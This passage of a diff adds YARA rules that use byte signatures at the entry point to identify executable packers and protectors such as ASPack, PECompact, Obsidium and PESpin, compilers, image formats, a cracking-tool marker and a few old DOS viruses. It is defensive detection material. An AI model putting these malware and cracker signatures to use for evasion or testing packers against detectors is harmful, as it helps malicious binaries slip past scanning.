+		$0 = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 1D 03 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 14 03 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 05 03 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 F6 02 00 00 6A 00 FF 75 08 E8 C8 02 00 00 A3 B4 33 40 00 C7 05 BC 33 40 00 2C 00 00 00 C7 05 C0 33 40 00 10 00 00 00 C7 05 C4 33 40 00 00 08 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 97 02 00 00 C7 05 C4 33 40 00 00 00 00 00 C7 05 E0 33 40 00 00 30 40 00 C7 05 E4 33 40 00 01 00 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 65 02 00 00 EB 5F EB 54}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v10061_
+{
+	meta:
+		description = "Obsidium v1.0.0.61"
+	strings:
+		$0 = {E8 AF 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V12__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 77 1E 00 00}
+		$1 = {EB 02 ?? ?? E8 77 1E 00 00}
+		$2 = {EB 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASPack_v108x_
+{
+	meta:
+		description = "ASPack v1.08.x"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftProtect__wwwsoftprotectbyru_
+{
+	meta:
+		description = "SoftProtect -> www.softprotect.by.ru"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+		$1 = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Uddy2617_
+{
+	meta:
+		description = "Vx: Uddy.2617"
+	strings:
+		$0 = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+		$1 = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_239_DLL_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (minimum protection)"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+		$1 = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_122_
+{
+	meta:
+		description = "PECompact 1.22"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 A6 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 9E 70 40 00 BB F3 08 00 00 03 9D AA 70 40 00 03 9D A6 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.x"
+	strings:
+		$0 = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V071__cyberbob_
+{
+	meta:
+		description = "PESpin V0.71 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 83 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 BD 2D 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD A3 5D 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Intel_DCX_Graphics_format_
+{
+	meta:
+		description = "Intel DCX Graphics format"
+	strings:
+		$0 = {B1 68 DE 3A 04 10 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Backfont900_
+{
+	meta:
+		description = "Vx: Backfont.900"
+	strings:
+		$0 = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+		$1 = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_GUI_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (GUI)"
+	strings:
+		$0 = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+		$1 = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_FSG_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.0"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_ExE_Pack_V10__Elite_Coding_Group_
+{
+	meta:
+		description = "!EP (ExE Pack) V1.0 -> Elite Coding Group"
+	strings:
+		$0 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+		$1 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+		$2 = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+		$3 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Windows_Icon_Graphics_format_
+{
+	meta:
+		description = "Windows Icon Graphics format"
+	strings:
+		$0 = {00 00 01 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v22__Ian_Luck_
+{
+	meta:
+		description = "PEtite v2.2 -> Ian Luck"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PEExe_Executable_Image_
+{
+	meta:
+		description = "PE-Exe Executable Image"
+	strings:
+		$0 = {50 45 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_122__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 1.22 -> Markus & Laszlo"
+	strings:
+		$0 = {31 2E 32 32 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _MASM__TASM_
+{
+	meta:
+		description = "MASM / TASM"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00}
+		$1 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Cracked_by_AutoHack_1_
+{
+	meta:
+		description = "Cracked by AutoHack (1)"
+	strings:
+		$0 = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_XCR_011__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [XCR 0.11] --> Anorganix"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PCrypt_350_COM_
+{
+	meta:
+		description = "PCrypt 3.50 [COM]"
+	strings:
+		$0 = {50 43 52 59 50 54 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_0x__Delikon_
+{
+	meta:
+		description = "UPolyX 0.x -> Delikon"
+	strings:
+		$0 = {81 FD 00 FB FF FF 83 D1 ?? 8D 14 2F 83 FD FC 76 ?? 8A 02 42 88 07 47 49 75}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_Pro_112_
+{
+	meta:
+		description = "SDProtector Pro 1.12"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16d__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6d --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+		$1 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$2 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _XPack_145_EXE_
+{
+	meta:
+		description = "XPack 1.45 [EXE]"
+	strings:
+		$0 = {8B EC EB 01 E8 B8 18 04 FF E0 FA 33 C0 8E D0 BC 10 00 2E 8F 06 57 04 2E 8F 06 5C 04 EB 01 9A 0E BB 4C 04 53 5F EB 01 9A 17 8B E5 FB 48 D1 E8 EB 01 9A CE 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 33 DB 8E DB C7 47 10 00 00 C7 47 12 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NSIS_Installer__NullSoft_
+{
+	meta:
+		description = "NSIS Installer --> NullSoft"
+	strings:
+		$0 = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+		$1 = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Image_Systems_Technology_Graphics_format_
+{
+	meta:
+		description = "Image Systems Technology Graphics format"
+	strings:
+		$0 = {03 3A ?? ?? 00 ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006710V220061025__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10-V2.2006.10.25 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Adobe_PhotoShop_Graphics_format_
+{
+	meta:
+		description = "Adobe PhotoShop Graphics format"
+	strings:
+		$0 = {38 42 50 53 00 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Ciphator_46_
+{
+	meta:
+		description = "Ciphator 4.6"
+	strings:
+		$0 = {93 93 E8 E4 0C 54 4C 4F 53 53 20 65 72 72 6F 72 05 23 00 00 00 00 00 00 8C C0 2E 31 06 18 0D B8 00 0D CD 21 33 C0 8E D8 66 0F B7 C8 0E 8F 06 06 00 68 DF 0C 8F 06 04 00 8C C8 8E D8 8E C0 B9 44 06 BE D8 0C 8B FE 2E 8B 16 14 00 FD CD 01 E2 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b2__v140b4__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.40b2 - v1.40b4 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Spalsher_1x3x__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Spalsher 1.x-3.x) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 9C 60 8B 44 24 24 E8 00 00 00 00 5D 81 ED 00 00 00 00 50 E8 ED 02 00 00 8C C0 0F 84}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 9C 60 8B 44 24 24 E8 00 00 00 00 5D 81 ED 00 00 00 00 50 E8 ED 02 00 00 8C C0 0F 84}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ASPack_v10802_
+{
+	meta:
+		description = "ASPack v1.08.02"
+	strings:
+		$0 = {90 75 01 90 E9}
+		$1 = {90 90 75 01 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CrunchPE_40_
+{
+	meta:
+		description = "Crunch/PE 4.0"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_10__101_
+{
+	meta:
+		description = "NeoLite 1.0 - 1.01"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 11 10 00 00 E8 C3 04 00 00 FF 35 CC 13 00 00 50 FF 25 D4 13 00 00 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93}
+	condition:
+		$0 at entrypoint
+}
+rule _PEEncrypt_v40b_JunkCode_
+{
+	meta:
+		description = "PEEncrypt v4.0b (JunkCode)"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 02 03 03 03 03 04 04 04 04 05 05 05 05 00 70 70 01 00 02 00 03 00 04 00 05 00 07 00 09 00 0D 00 11 00 19 00 21 00 31 00 41 00 61 00 81 00 C1 00 01 01 81 01 01 02 01 03 01 04 01 06 01 08 01 0C 01 10 01 18 01 20 01 30 01 40 01 60 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0A 0A 0B 0B 0C 0C 0D 0D 10 11 12 00 08 07 09 06 0A 05 0B 04 0C 03 0D 02 0E 01 0F 58 2C 08 50 8B C8 8B D0 81 C1 ?? D2 00 00 81 C2 ?? ?? 00 00 89 20 8B E1 50 81 2C 24 00 ?? ?? ?? FF 30 50 80 04 24}
+		$1 = {66 ?? ?? 00 66 83 ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V10__cyberbob__20080312_
+{
+	meta:
+		description = "PESpin V1.0 -> cyberbob * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 ?? ?? ?? ?? ?? ?? ?? C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 ?? EB FB FF 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 ?? ?? ?? ?? 83 04 24 0C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_082_COM_
+{
+	meta:
+		description = "aPack 0.82 [COM]"
+	strings:
+		$0 = {8C C8 80 C4 10 8E C0 FC B9 00 00 BE 00 01 8B FE 57 F3 A5 5F BE BC 01 06 68 20 01 1E 07 8E D8 CB 06 57 B6 01 BD 89 01 FF D5 73 5B FF D5 73 1C FF D5 73 3D BB A0 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 B1 01 85 DB 75 34 93 EB 36 E8 46 00 49 49}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_50_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 5.0 DLL"
+	strings:
+		$0 = {24 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 24 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_V11X__ap0x_
+{
+	meta:
+		description = "RLPack Full Edition V1.1X -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 10}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F}
